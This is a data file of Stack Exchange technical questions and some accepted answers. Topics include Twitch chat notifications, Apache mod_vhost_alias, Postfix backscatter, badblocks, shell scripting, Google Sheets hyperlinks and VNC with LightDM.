{  "id": "_webapps.78944"  , "question": "In Twitch chat, if your name is mentioned, it shows up with an inverse background (black in normal mode, white in theater mode). While this makes it easy to notice when you've been mentioned while you are watching chat, it doesn't do much for when you are not paying attention.I'd like a way to get a desktop notification or sound notification when my name is mentioned in chat. Is this possible?Also, is there a way to do this with any random keyword I'd like to?"  , "title": "Is there a way to be notified when my name is mentioned in Twitch?"  , "tags": "twitch.tv"  , "accepted_answer": "You can use NightDev's BetterTTV extension. It provides various enhancements to the twitch.tv website and it can be configured to provide desktop notifications and sounds on highlight. Note however that the latter of those two is currently labeled BETA.It does a lot more than what you're asking for but the structure of the extension seems to be pretty modular, so I imagine you can disable most, if not all annoyances you may have with it.As a side note, I'd like to mention that you can interface with Twitch chat through any IRC client (see how here)."  } 
{  "id": "_hardwarecs.5733"  , "question": "Are there switches which have a direct connection between two ports (e.g. port 1 and 2) when the power is not plugged in? I would like those two ports linked as if there was a direct connection with a cable instead of a (switched off) switch in between. As soon as the power is plugged in, the switch should operate as usual.Are there any? Is it probably a common behavior of some models? Is there a name for that feature?"  , "title": "Are there switches with a direct connection between two ports when the power is off?"  , "tags": "networking;switch;power"  } 
{  "id": "_webmaster.11807"  , "question": "I am currently in the process of setting up an Apache server that will be hosting projects built from SVN using a continuous integration server. The problem is, however, that while I've managed to configure the build server to output the revisions of a project to a directory, I'm stumped as to how to actually configure Apache using mod_vhost_alias to serve the different projects.The directory structure is generated using the following pattern:/usr/share/Projects/r[revision]Inside, there are two directories which I'd like to configure access via a subdomain:api.r[revision].testserver.local -> ./serverr[revision].testserver.local -> ./webThere is already a local DNS server that serves the wildcards on *.testserver.local and already resolves them to the correct IP, but Apache needs to resolve the correct DocumentRoot for the different subdomains.The end result I'm hoping for is that as long as the build server outputs and configures the projects inside /usr/share/Projects/r*, Apache will know how to resolve these subdomains without the need to write conf files and reloading configurations each time a new revision is fetched and built from SVN."  , "title": "Configuring `mod_vhost_alias` to server subdomain-based websites"  , "tags": "apache;httpd.conf"  } 
{  "id": "_unix.353885"  , "question": "I just installed Ubuntu 16.04 LTS on my old Lenovo G50-80. I've been having issues with getting the wifi to work from the start. During install I gave it a network cable and then after the install I couldn't get the wifi working at first so I configured it manually somehow in Unity (something like adding a record about a Host with AP name and password in a config file). At last it was working, so I started polishing the look, and decided to go with gnome instead. Now the wifi still works on login and it automatically connects to my AP but as soon as I open my VPN client, connect and then later disconnect, it will not work again for some reason. At any point in time, when I try to change the gnome UI wifi settings, it's searching and never seems to find any APs, despite me already being connected to my own AP when looking at it.Is gnome not recognizing my wifi drivers?Otherwise, what could be the problem?"  , "title": "Ubuntu wifi connected but not working correctly"  , "tags": "ubuntu;wifi;gnome;drivers;gdm3"  } 
{  "id": "_cs.11741"  , "question": "Let $p$ be the six-figure Boolean function with the following definition:  $p(x_{0},x_{1},x_{2},x_{3},x_{4},x_{5})=\\begin{cases}  true & \\text{if } x_{0}=x_{5} \\text{ and } x_{1}=x_{4} \\text{ and } x_{2}=x_{3}, \\\\  false & \\text{else.}\\end{cases}$This function obviously yields $true$ iff $x_{0}x_{1}x_{2}x_{3}x_{4}x_{5}$ is a palindrome. Provide a BDD for $p$ relative to a variable ordering of your choice.My problems begin when I try to define an appropriate variable ordering, so I am only able to guess it: $x_{0}=x_{5} < x_{1}=x_{4} < x_{2}=x_{3}$.I'm actually pretty lost with this exercise and any help is much appreciated (sorry for not being able to provide a better own approach)."  , "title": "Binary decision diagram for a six-figure Boolean function"  , "tags": "formal methods"  , "accepted_answer": "So finally this should be the correct solution:The variable ordering is $x_{0} < x_{5} < x_{1} < x_{4} < x_{2} < x_{3}$. The BDD is:"  } 
{  "id": "_unix.75622"  , "question": "I made a copy of all the backups made on Wed of every weekThe time stamp of each file is not sorted but the day is Wednesday of every fileNow, I need to sort each file based on time Stamp e.g if date is 1-May then it should first display the backup files of 1-May then it should display the files of 8-MayI used this command but of course it is slapping me with errorsort $(cat /home/emerg/Wedbackup.txt)Error issort: invalid option -- wAs i don't know how to use the output of one command as input of 2nd command. I need advice how to do it."  , "title": "How to use output of one command as input in another command"  , "tags": "rhel;sort"  , "accepted_answer": "There's no need to use cat in this case:sort /home/emerg/Wedbackup.txtThe problem with your example is that your file is being passed as the command line to sort, which is not what you want. For example, if this was your file:foo barbaz quxwibble wobbleThe arguments would look like this:sort foo bar baz qux wibble wobbleThis is not what you want. What you actually want is to pass the file to sort on stdin, which can be done like this:sort < /home/emerg/Wedbackup.txtThis is more generalisable, as taking a filename as an argument is specific to sort, and is not a universal convention.In the case of sort, you should prefer to pass the filename as an argument rather than on stdin, as it allows seeking on the file, which can improve sorting efficiency."  } 
{  "id": "_unix.382358"  , "question": "I have a process that is using /dev/ttyAMA2 port to communicate with an external device on a PCB.What options do I have of listening to the communication between a process and a serial port, on an ARM processor and a read-only file system (except /home) without interfering with their communication? Other question suggested using socat or interceptty but I was not able to cross-compile it for that processor. But I can compile my own c code and successfully run it. All I need is to get what the process is sending to that port (I don't need the response data). "  , "title": "Listening on the data between a process and a serial port"  , "tags": "tty;arm;serial port"  } 
{  "id": "_cs.2069"  , "question": "I try to solve the following coverage problem.There are $n$ transmitters with coverage area of 1km and $n$ receivers. Decide in $O(n\\log n)$ that all receivers  are covered by any transmitter. All reveivers and transmiters are represented by their $x$ and $y$ coordinates.The most advanced solution I can come with takes $O(n^2\\log n)$. For every receiver sort all transmitter by it distance to this current receiver, then take the transmitter with shortest distance and this shortest distance should be within 0.5 km.But the naive approach looks like much better in time complexity $O(n^2)$. Just compute all distance between all pairs of transmitter and receiver.I am not sure if I can apply range-search algorithms in this  problem. For example kd-trees allow us to find such ranges, however I never saw an example, and I am not sure if there are kind of range-search for circles. The given complexity $O(n\\log n)$ assumes that the solution should be somehow similar to sorting."  , "title": "Coverage problem (transmitter and receiver)"  , "tags": "algorithms;computational geometry;search problem"  } 
{  "id": "_unix.13034"  , "question": "Is it possible to divorce my input from the overall shell using Screen?  What I'm aiming for is akin to a status line that expands if I type more than would fit within a single line and is 'submitted'/'sent' to the shell when I press enter.I'm looking to put together a simple configuration to use as a MUSH/MUD/MUCK/MOO client using screen+telnet.  The current issue with using telnet is that data sent from the remote server is inserted at the cursor position, which sucks badly if you're typing a lengthy paragraph."  , "title": "Divorced input line in GNU Screen"  , "tags": "shell;terminal;gnu screen;telnet"  } 
{  "id": "_softwareengineering.16323"  , "question": "After reading this post about ideal programming language learning sequence, I am wondering what would have been the answers if the question was performance -instead of learning- oriented ?Since there are many programming languages I chose to ask the question for OOL to be the least subjective. But any thought or comparison about no-OOL are appreciated :DIf we omit the programming effort, time and costs. What is your ranking of the most powerful object oriented languages ?"  , "title": "Object Oriented Programming Language performance ranking"  , "tags": "programming languages;performance"  , "accepted_answer": "There's an interesting slide in this Scale at Facebook presentation that shows relative performance of a few languages compared to C++.C++ (1)Java (2)C# (3)Erlang (6)Python (21)Perl (38)PHP (+-40)Ruby (+-70)"  } 
{  "id": "_unix.298480"  , "question": "I have /dev/sda mounted on /, as the root partition. Can I safely run badblocks in read-only mode on this device? Will it show false positives/negatives because it's mounted?"  , "title": "Can I safely run badblocks in read-only mode on a mounted drive?"  , "tags": "filesystems;mount;hard disk;disk;badblocks"  , "accepted_answer": "Read-only is just that - reading from the disk. It will pick up sector read errors but (obviously) not sector write errors.Categorically, it is safe to run on a device that is being used a mounted filesystem.With respect to possible false positives, block IO is not managed, i.e. there are no reader/writer locks. So there is no interaction between badblocks and the filesystem layer."  } 
{  "id": "_unix.56678"  , "question": "I've been recently try to write a script to automate checks for new version of ports and software installed on my FreeBSD server. This script is added to root's crontab and fires daily. If I run it from sudo /path/to/script it goes forward decently sending mail with content on my email address. If it's run by cron I get an empty mail. I think that the reason might be that while update sometimes window appears (from make config i think) with compilation options, but I might be wrong. Here's the script:#!/usr/local/bin/bash# DIRECTORIES SETUPscript_path_dir=/tmpworking_dir=$script_path_dir/portsupgradescript# FILES SETUPmail_file=$working_dir/mail.txtmail_address=MY_MAIL_ADDRESSmail_subject=Daily updatepm_out=portmaster_log.txtpu_out=portupgrade_log.txt# STARTif [ ! -d $script_path_dir ]; then  echo Script base directory set does not exist. Creating...  mkdir $script_path_dir else  echo Script base directory set exists. OKfiif [ ! -d $working_dir ]; then  echo Script working directory set does not exist. Creating...  mkdir $working_dir else  echo Script working directory set exists. OKfiif [ $(ls -A $working_dir) ]; then echo Script working directory is empty. OKelse echo Script working directory is not empty. Cleaning... rm -rf $working_dir/*firm -rf $pm_outrm -rf $pu_outrm -rf $mail_file/usr/sbin/portsnap fetch update && \\/usr/local/sbin/portmaster -L --index-only | egrep '(ew|ort) version|total install' > $pm_outlinecount=`wc -l $pm_out | awk {'print $1'}`if [ $linecount != 0 ]then echo Master file log not empty. Concatenating... cat $pm_out >> $mail_file else  echo Master file log empty... ( x )  fiportupgrade -aqyP -l $pu_outupg_linecount=`wc -l $pu_out`if [ $upg_linecount != 0 ] then  echo Upgrade file log not empty. Concatenating...  cat $pu_out >> $mail_file else  echo Upgrade file log empty... ( x )  fiecho Seding mail report... cat $mail_file | mail -s $mail_subject $mail_addressIs there any way to select defaults on make config window so this would be not a showstopper? Or maybe I should run this script sudoed in user's cron, not root's?"  , "title": "Bash port auto upgrading script in cron doesn't work properly?"  , "tags": "bash;freebsd;upgrade;email;bsd ports"  , "accepted_answer": "Auto-upgrading from cron is kind of a bad idea. You should really read /usr/ports/UPDATING in case there's some sort of manual action that needs to be taken. I'm sure this probably won't be very popular, sorry, but it's true. There's a reason UPDATING exists.As far as your script goes, you can define BATCH=yes in /etc/make.conf and you won't be prompted for configuration. You may also But that doesn't mean your upgrades will go well."  } 
{  "id": "_unix.339353"  , "question": "I have a problem with backscatter. Spammers send emails to non existent username @ existent domain hosted on my server. I am trying to abort the session instead of sending bounce messages back to forged sender addresses. I tried adding reject_unverified_recipient, but that doesn't seem to work.When I check mailq, I can see many stuck user doesn't exist bounce emails from MAILER_DAEMON to non existent recipients.Here is my postconf -nappend_dot_mydomain = nobiff = nobroken_sasl_auth_clients = yesconfig_directory = /etc/postfixdovecot_destination_recipient_limit = 1inet_interfaces = allinet_protocols = ipv4mailbox_size_limit = 0message_size_limit = 102400000milter_default_action = acceptmilter_protocol = 2mydestination = localhostmyhostname = domain.commynetworks = 127.0.0.0/8non_smtpd_milters = inet:localhost:8891readme_directory = norecipient_delimiter = +relay_domains =relayhost =resolve_numeric_domain = yessmtp_tls_session_cache_database = btree:${data_directory}/smtp_scachesmtpd_banner = $myhostname ESMTP $mail_name (Ubuntu)smtpd_milters = inet:localhost:8891smtpd_relay_restrictions = permit_mynetworks, permit_sasl_authenticated, reject_unauth_destination, reject_unknown_recipient_domain, reject_unverified_recipient, permit_auth_destinationsmtpd_sasl_auth_enable = yessmtpd_sasl_path = private/authsmtpd_sasl_security_options = noanonymoussmtpd_sasl_tls_security_options = noanonymoussmtpd_sasl_type = dovecotsmtpd_tls_CAfile = /etc/ssl/certs/domain.com.chain.crtsmtpd_tls_cert_file = /etc/ssl/certs/domain.com.crtsmtpd_tls_key_file = /etc/ssl/private/domain.com.keysmtpd_tls_session_cache_database = btree:${data_directory}/smtpd_scachesmtpd_use_tls = yesvirtual_alias_domains = mysql:/etc/postfix/sqlconf/virtual_alias_domains.cfvirtual_alias_maps = mysql:/etc/postfix/sqlconf/virtual_mailbox_maps.cfvirtual_mailbox_domains = mysql:/etc/postfix/sqlconf/mydestination.cfvirtual_transport = dovecotThis is the master.cf filesmtp      inet  n       -       -       -       -       smtpd  -o content_filter=spamassassin  -o receive_override_options=no_header_body_checks,no_unknown_recipient_checks,no_milterssmtps     inet  n       -       -       -       -       smtpd  -o content_filter=checkhook  -o smtpd_tls_wrappermode=yes  -o smtpd_sasl_auth_enable=yesdovecot   unix  -       n       n       -       -       pipe  flags=DRhu user=vmail:vmail argv=/usr/lib/dovecot/deliver -f ${sender} -d ${recipient}pickup    unix  n       -       -       60      1       pickupcleanup   unix  n       -       -       -       0       cleanupqmgr      unix  n       -       n       300     1       qmgr#qmgr     unix  n       -       n       300     1       oqmgrtlsmgr    unix  -       -       -       1000?   1       tlsmgrrewrite   unix  -       -       -       -       -       trivial-rewritebounce    unix  -       -       -       -       0       bouncedefer     unix  -       -       -       -       0       bouncetrace     unix  -       -       -       -       0       bounceverify    unix  -       -       -       -       1       verifyflush     unix  n       -       -       1000?   0       flushproxymap  unix  -       -       n       -       -       proxymapproxywrite unix -       -       n       -       1       proxymapsmtp      unix  -       -       -       -       -       smtprelay     unix  -       -       -       -       -       smtpshowq     unix  n       -       -       -       -       showqerror     unix  -       -       -       -       -       errorretry     unix  -       -       -       -       -       errordiscard   unix  -       -       -       -       -       discardlocal     unix  -       n       n       -       -       localvirtual   unix  -       n       n       -       -       virtuallmtp      unix  -       -       -       -       -       lmtpanvil     unix  -       -       -       -       1       anvilscache    unix  -       -       -       -       1       scachemaildrop  unix  -       n       n       -       -       pipe  flags=DRhu user=vmail argv=/usr/bin/maildrop -d ${recipient}uucp      unix  -       n       n       -       -       pipe  flags=Fqhu user=uucp argv=uux -r -n -z -a$sender - $nexthop!rmail ($recipient)ifmail    unix  -       n       n       -       -       pipe  flags=F user=ftn argv=/usr/lib/ifmail/ifmail -r $nexthop ($recipient)bsmtp     unix  -       n       n       -       -       pipe  flags=Fq. user=bsmtp argv=/usr/lib/bsmtp/bsmtp -t$nexthop -f$sender $recipientscalemail-backend unix  -       n       n       -       2       pipe  flags=R user=scalemail argv=/usr/lib/scalemail/bin/scalemail-store ${nexthop} ${user} ${extension}mailman   unix  -       n       n       -       -       pipe  flags=FR user=list argv=/usr/lib/mailman/bin/postfix-to-mailman.py  ${nexthop} ${user}spamassassin unix -     n       n       -       -       pipe  user=spamfilter argv=/usr/bin/spamc -f -e /usr/sbin/sendmail -oi -f ${sender} ${recipient}checkhook unix  -       n       n       -       -       pipe  user=www-data argv=/etc/postfix/scripts/send ${sender} ${recipient}Here are some logs that were made when I tried to send to invalid local recipient.Jan 22 19:09:34 ip-12345 postfix/qmgr[19938]: CF96B20013B: from=<invalid@sender.ocm>, size=249, nrcpt=1 (queue active)Jan 22 19:09:35 ip-12345 postfix/pickup[19939]: 982D320013D: uid=5007 from=<invalid@sender.ocm>Jan 22 19:09:35 ip-12345 postfix/pipe[21485]: CF96B20013B: to=<nonexistentx@localdomain.com>, relay=spamassassin, delay=18, delays=16/0/0/1.2, dsn=2.0.0, status=sent (delivered via spamassassin service)                           Jan 22 19:09:35 ip-12345 postfix/qmgr[19938]: CF96B20013B: removedJan 22 19:09:35 ip-12345 postfix/cleanup[21477]: 982D320013D: message-id=<20170122190935.982D320013D@maindomain.com>Jan 22 19:09:35 ip-12345 postfix/qmgr[19938]: 982D320013D: from=<invalid@sender.ocm>, size=1333, nrcpt=1 (queue active)Jan 22 19:09:35 ip-12345 dovecot: auth: Debug: master in: USER#0111#011nonexistentx@localdomain.com#011service=ldaJan 22 19:09:35 ip-12345 dovecot: auth-worker(14636): Debug: sql(nonexistentx@localdomain.com): SELECT '/var/vmail/nonexistentx@localdomain.com' as home, 'vmail' as uid, 'vmail' as gid, concat('*:storage=', quota_kb) AS quota_rule, concat('*:messages=', quota_msg) AS quota_rule2 FROM users WHERE username = 'nonexistentx' AND domain = 'localdomain.com' and active=1                          Jan 22 19:09:35 ip-12345 dovecot: auth-worker(14636): sql(nonexistentx@localdomain.com): unknown user                                                  Jan 22 19:09:35 ip-12345 dovecot: auth: Debug: userdb out: NOTFOUND#0111       Jan 22 19:09:35 ip-12345 postfix/pipe[21400]: 982D320013D: to=<nonexistentx@localdomain.com>, relay=dovecot, delay=0.07, delays=0.05/0/0/0.02, dsn=5.1.1, status=bounced (user unknown)                                              Jan 22 19:09:35 ip-12345 postfix/cleanup[21396]: A8B0720013C: message-id=<20170122190935.A8B0720013C@maindomain.com>Jan 22 19:09:35 ip-12345 postfix/bounce[21474]: 982D320013D: sender non-delivery notification: A8B0720013C                                                   Jan 22 19:09:35 ip-12345 postfix/qmgr[19938]: A8B0720013C: from=<>, size=3394, nrcpt=1 (queue active)                                                  Jan 22 19:09:35 ip-12345 postfix/qmgr[19938]: 982D320013D: removed      Jan 22 19:09:35 ip-12345 postfix/smtp[21496]: A8B0720013C: to=<invalid@sender.ocm>, relay=none, delay=0.03, delays=0/0.01/0.02/0, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=sender.ocm type=A: Host not found)                                                              Jan 22 19:09:35 ip-12345 postfix/qmgr[19938]: A8B0720013C: removed"  , "title": "Postfix reject unknown recipient"  , "tags": "linux;postfix"  } 
{  "id": "_cs.72278"  , "question": "Let $a,b>0$ and suppose we have divided the domain $\\Lambda:=[0,a]\\times[0,b]$ into a grid of width $n_x$ and height $h_y$.We enumerate the grid from bottom to top and left to right. Given $(x_0,y_0),(x,y)\\in\\Lambda$, I want to iterate over each grid cell through whose interior the line segment connecting $(x_0,y_0)$ and $(x,y)$ passes.Suppose we number the first cell by $(0, 0)$ and the last cell by $(n_x-1,n_y-1)$. How can we find an efficient algorithm, which iterates over the desired cells?"  , "title": "Iterate over each cell of a grid through whose interior a given line segment passes"  , "tags": "computational geometry;graphics"  } 
{  "id": "_webmaster.5932"  , "question": "We have an issue in our company right now where gay people are complaining that our forms are not gay friendly we have a wedding registry page where it says groom and bride but they want a different way of presenting it so that it would be acceptable by that demographic.  Any good suggestions on how we handle this?  (Hope no one gets offended, Its a legitimate question and were actually dealing with this right now)Here is a screenshot of the form"  , "title": "Modernizing traditional Marriage Application Web Form"  , "tags": "asp.net;web development"  , "accepted_answer": "There's no real standard or perfect way of doing it. Some options:First spouseSecond spouseorParty AParty BorPartner APartner BorBride/GroomBride/Groom"  } 
{  "id": "_webmaster.43609"  , "question": "Could anyone tell me how to block access to a website for libwww-perl agents.Can only seem to find .htaccess solutions.Many thanksjohn"  , "title": "block libwww-perl on windows server 2003"  , "tags": "htaccess;iis"  , "accepted_answer": "According to this site you can do blocking on iis after installing the URL Rewrite Module http://www.seomoz.org/ugc/blocking-bots-based-on-useragentThe specific pattern you would want to use is libwww-perlHere is an almost identical question asked on serverfault https://serverfault.com/questions/408913/can-iis-block-specific-user-agent-from-requesting-a-page-web It suggests installing Ionics Isapi Rewrite Filter or Microsoft URLScan"  } 
{  "id": "_webapps.50605"  , "question": "I have a column of cells in a Google Spreadsheet with values such as:512212323423532What I would like to do is convert all these into a hyperlink and keep the value as the link text:http://www.example.com/id/{value}...where {value} is the value of the cell. I know the format of a hyperlink in a Google spreadsheet but I don't want to do this manually every time I put in a number. I want a simple process that when I add a new row the contents of this column is turned into a link with the value I input.I tried this:=HYPERLINK(CONCATENATE(http://www.example.com/id/,A1);A1)But I get:error: Circular dependency detected"  , "title": "Making all cells in a column links from the values within the cell?"  , "tags": "google spreadsheets;google apps script"  , "accepted_answer": "I wasn't able to reproduce your results. As a matter of fact, it worked perfectly.What you tried to do is most probably the following:In A1 you typed in =HYPERLINK(CONCATENATE(http://www.example.com/id/,A1);A1) and this yields an error of coarse.UpdateIf you really want to get the result in A1, then you need to use a script.Code// globalvar ss = SpreadsheetApp.getActiveSpreadsheet();function onOpen() {  var menu = [{name: create URL, functionName: createURL}];  ss.addMenu(URL, menu);}function onEdit(e) {  var activeRange = e.source.getActiveRange();  if(activeRange.getColumn() == 1) {     if(e.value != ) {       activeRange.setValue('=HYPERLINK(http://www.example.com/id/'+e.value+','+e.value+')');    }  }}function createURL() {  var aCell = ss.getActiveCell(), value = aCell.getValue();  aCell.setValue('=HYPERLINK(http://www.example.com/id/'+value+','+value+')');  }Explained:The e.value will retrieve the cells value (only applicable a cell). The setValue() will add the concatenated string into the getActiveRange(). All is only executed when e.value contains something and the active range is in column A. I've created an extra menu option as well, to be able access the script this way.Example:I've created an example file for you: onEdit URL builderAdd this script via Tools>Script editor, into the script editor. Press the bug button and you can use the script. "  } 
{  "id": "_codereview.30235"  , "question": "The following working code basically swaps the content of two divs.  The divs are created dynamically, then the user checks which records they want to swap, and then clicks on a swap button that triggers a function to swap an inner div element.The part that swaps the div's seems really messy to me. I'm only a beginner/intermediate with JavaScript, so I would really appreciate some help with this.//dynamically create the div elements$('#SwapBedsFields').html(options);   for (var i = 1; i <= NumberOfBeds; i++) {        var RowIndex = $.inArray(i.toString(), bedNumberColumn);        var ptName = 'Empty';        var UMRN = ;        var UMRNstr = '';        var pID = '';       if (RowIndex != -1) {           ptName = patientNameColumn[RowIndex];           UMRN = patientUMRNColumn[RowIndex];           pID = pIDColumn[RowIndex];           UMRNstr = ( + UMRN + );       };       options += '<div style=white-space:nowrap; height:25px; width:100%; id=bed-topdiv-' + i + '><input type=checkbox style=vertical-align:middle; name=bed-' + i + '';       options += 'id=bed-' + i + ' /><div style=display:inline; vertical-align:middle;>&nbsp;Bed ' + i + '  -  </div><div id=bed-div-' + i + ' class=inner-bed-div-class style=display:inline; vertical-align:middle; bedNum=' + i + ' uMRN=' + UMRN +' >' + ptName + '&nbsp;' + UMRNstr + '</div></div>';      };//***THIS IS THE BIT I FIND PARTICULARLY MESSY!***//then in another function - when the user clicks a button to swap the div elements...var selected = new Array();var patientname1;var patientname2;var b1html;var b2html;var pt1UMRN;var pt2UMRN;$('#SwapBedsFields input:checked').each(function () {       selected.push($(this).attr('name'));});//get the html of the two bed divspatientname1 = $('#bed-div-' + selected[0].substring(4)).html();patientname2 = $('#bed-div-' + selected[1].substring(4)).html();pt1UMRN = $('#bed-div-' + selected[0].substring(4)).attr('umrn');pt2UMRN = $('#bed-div-' + selected[1].substring(4)).attr('umrn');//swap the elements around$('#bed-div-' + selected[0].substring(4)).html(patientname2);$('#bed-div-' + selected[1].substring(4)).html(patientname1);//update the umrn attribute$('#bed-div-' + selected[0].substring(4)).attr({ umrn: pt2UMRN});$('#bed-div-' + selected[1].substring(4)).attr({ umrn: pt1UMRN });//message the user$('#bed-topdiv-' + selected[0].substring(4)).effect(highlight, {}, 2000);$('#bed-topdiv-' + selected[1].substring(4)).effect(highlight, {}, 2000);"  , "title": "Swapping dynamic page div's around on button click"  , "tags": "javascript;jquery"  } 
{  "id": "_unix.193422"  , "question": "locate gtags would find all the files named gtags.What if I only need executables, is there any way to do this?"  , "title": "How find only executable files using 'locate'?"  , "tags": "locate"  , "accepted_answer": "Not easily. You can use locate bash | while IFS= read -r line; do [[ -x $line ]] && echo $line; doneto find all executables where the name contains bash. This is faster than using find across the whole filesystem because only a few files need to be checked.locate bash does what it always does (lists all matches)| (pipe) takes the output from the first command (locate) and sends it to the second one (the rest of the line)the while ...; do ... done loop iterates over every line it receives from the pipe (from locate)read -r line reads one line of input and stores it in a variable called line (in our case, a path/file name)[[ -x $line ]] tests whether the file in $line is executableif it is, the && echo $line part prints it on your screen "  } 
{  "id": "_codereview.106423"  , "question": "This is a sort-of-useless utility I wrote to learn my way around shell programming better.My concerns are:Is the code readable? Could it be more efficient, or just simpler? The logic ends up being a little complicated and I have a lot of nested if statements. Should I use 4 tabs instead of 2?Is the interface itself (the flags, arguments, etc) intuitive? Is the documentation clear?How easily this could be ported to Bash? As far as I remember, the only Zsh-specific feature I use here is zparseopts, but I've been casually using Zsh for a while and I could have forgotten some of the inconsistencies between shells.# shebang [-iv] [-t interpreter] [-I extension] [-J [extension]] [filename]## If no filename is given, print a shebang. If a filename is given, append a shebang to the file and print its contents. If a filename is given and the -I or -J options are specified, append a shebang to the file in place.## OPTIONS#   -i#     Interactive mode; ask for confirmation first.#   -I#     Modify filename in place (as in `sed -i`) using specified extension. Extension is mandatory.#   -J#     Same as -I, but extension is mandatory only if the string gsed cannot be found in the output of `which sed`. Overridden by -I.#   -t#     Specify an interpreter, e.g. `shebang -t zsh` produces #!/usr/bin/env zsh#   -v #     Print (to stderr) the interpreter being used.shebang () {  local interpreter  local inplace  local inplace2  local verbose  local interactive  local input_shebang  local shebang  local continue  local sed_command  local gsed_avail  zparseopts -D t:=interpreter I:=inplace J::=inplace2 v=verbose -i=interactive  (( $? )) && return 1  if [[ -n $1 ]]; then    input_shebang=$(sed -n '1 { /^#!/ p; }' $1)    if (( $? )); then      echo Unable to read $1. >&2      return 1    fi    if [[ -n $input_shebang ]]; then      echo $1 already has a shebang. >&2      return 1    fi  fi  if [[ (-z $interpreter) && (-z $1) ]]; then    echo The -t option is mandatory if no argument is supplied. >&2    return 1  fi  if [[ (-z $interpreter) && (-n $1) ]]; then    interpreter=$(filename=$(basename $1); [[ $filename = *.* ]] && echo ${filename##*.} || echo '')  # grab extension    interpreter=${interpreter:#(* *|* | *)}  # extensions with whitespace probably aren't legit    interpreter=${interpreter:-sh}  # assume sh if no extension and no -t option  else    interpreter=$interpreter[2]  fi  shebang=#!/usr/bin/env $interpreter  if [[ -n $verbose ]]; then    echo Using interpreter '$interpreter' >&2  fi  if [[ -n $interactive ]]; then    read -q continue?Shebang will be '$shebang'. Ok? y/n:     [[ $continue == n ]] && return 1  fi  if [[ -z $1 ]]; then    echo $shebang  else    gsed_avail=$(command which -s gsed && echo 1)    echo $gsed_avail    if [[ -n $gsed_avail ]]; then      sed_command=1 i\\\\$shebang\\n      if [[ -n $inplace ]]; then        gsed ${inplace/-I/-i} $sed_command $1      elif [[ -n $inplace2 ]]; then        gsed ${inplace2/-J/-i} $sed_command $1      else        gsed $sed_command $1      fi    else      sed_command='1 i\\REPLACEME\\n'  # need to use single quotes to preserve the line break      sed_command=${sed_command/REPLACEME/$shebang}  # work around the single quotes      if [[ -n $inplace ]]; then        sed ${inplace/-I/-i} $sed_command $1      elif [[ (-n $inplace2) && (-z ${inplace2#-J}) ]]; then        echo '-J' was given without an argument, but 'gsed' is unavailable. Specify an explicit extension or use -I.      elif [[ -n ${inplace2#-J} ]]; then        sed ${inplace2/-J/-i} $sed_command $1      else        sed $sed_command $1      fi    fi  fi}"  , "title": "Print a shebang line, or prepend it to a file"  , "tags": "bash;shell;portability;zsh;ksh"  } 
{  "id": "_unix.304905"  , "question": "As far as I can tell GDM3 is incompatible with RealVNC so I uninstalled it and I installed LightDM.  However now I can't get anywhere when I try to connect to RealVNC.What I did before was run:sudo -u localuser vncserver-virtual... and it opened up a VNC server on port 5901 to which I could connect.  I still can, but now it displays the message:Xsession: unable to start X session --- no .xsession file, no .Xsession file, no session managers, no window managers, and no terminal emulators found; aborting.I'm guessing I need to make changes to my /etc/vnc/xstartup.custom file to somehow get X to detect LightDM?  Its current contents seems centered around GDM:#!/bin/sh[ -r $HOME/.Xresources ] && xrdb $HOME/.Xresourcesxsetroot -solid greyif [ -f /usr/bin/gnome-session ]; then  # Some gnome session types won't work with Xvnc, try to pick a sensible  # default.  for SESSION in ubuntu-2d 2d-gnome gnome-classic gnome-fallback; do    if [ -f /usr/share/gnome-session/sessions/$SESSION.session ]; then      DESKTOP_SESSION=$SESSION; export DESKTOP_SESSION      GDMSESSION=$SESSION; export GDMSESSION      STARTUP=/usr/bin/gnome-session --session=$SESSION; export STARTUP    fi  donefiunset SESSIONBINXTERM_COMMAND=xterm -geometry 80x24+10+10 -lsif   [ -x /etc/X11/Xsession ]; then SESSIONBIN=/etc/X11/Xsessionelif [ -x /etc/X11/xdm/Xsession ]; then SESSIONBIN=/etc/X11/xdm/Xsessionelif [ -x /etc/X11/xinit/Xsession ]; then SESSIONBIN=/etc/X11/xinit/Xsessionelif [ -x /etc/X11/gdm/Xsession ]; then SESSIONBIN=/etc/X11/gdm/Xsession gnome-sessionelif [ -x /etc/gdm/Xsession ]; then SESSIONBIN=/etc/gdm/Xsession gnome-sessionelif [ -x /etc/kde/kdm/Xsession ]; then SESSIONBIN=/etc/kde/kdm/Xsessionelif [ -x /usr/dt/bin/Xsession ]; then  XSTATION=1  DTXSERVERLOCATION=local  export XSTATION DTXSERVERLOCATION  SESSIONBIN=/usr/dt/bin/Xsessionelif [ -x /usr/dt/bin/dtsession ]; then SESSIONBIN=/usr/dt/bin/dtsessionelif which twm > /dev/null 2>&1; then  $XTERM_COMMAND &  SESSIONBIN=twmfiif [ x${SESSIONBIN} = x ]; then  echo No session located; just starting a terminal  $XTERM_COMMAND  echo Terminal closed with return code $?else  echo Starting session: $SESSIONBIN  $SESSIONBIN  echo Session terminated with return code $?fivncserver-virtual -kill $DISPLAYAny ideas what I need to change to get my RealVNC session to connect to LightDM?"  , "title": "Can't get RealVNC to work with LightDM"  , "tags": "debian;x11;xorg;vnc"  } 
{  "id": "_unix.140001"  , "question": "Can I configure the TOR Browser which comes with Whonix to use a proxy,so that it becomes an extra hop after the TOR exit node? Connecting as follows:Browser(workstation) > TOR(gateway) > exit node > proxyEffectively rendering it a proxychain.In contrast to the Tor Browser Bundle which connects to TOR via 127.0.0.1 under Whonix we have a different situation where we connect through the gateway to TOR. So a connection like I described maybe this might be possible.Is there any more recommended solution for proxy chaining under Whonix?"  , "title": "Possible to add proxy after TOR exit node?"  , "tags": "proxy;tor;whonix;proxychains"  } 
{  "id": "_unix.301986"  , "question": "I restored add-ons, bookmarks, and favorites from another installation (Manjaro) by copying the contents of ~/.mozilla/firefox/??????.default into the correct folder of this installation.Now, I cannot search from the address bar or the search pane in firefox.  Nor can I add a search provider from the firefox preferences window (below)"  , "title": "How do I re-enable search from the menu bar?"  , "tags": "linux mint;firefox"  , "accepted_answer": "I chose to reset firefox as detailed in their tutorialHowever, it did not fix the problem immediately.  My add-ons (xmarks and LastPass) were not re-enabled until I restarted firefox for another time (refresh was the first time).  Then, I discarded my xmarks settings and re-imported from a previous save.  It was not clear to me if re-importing my xmarks settings or if just restarting the browser for the second time was the solution."  } 
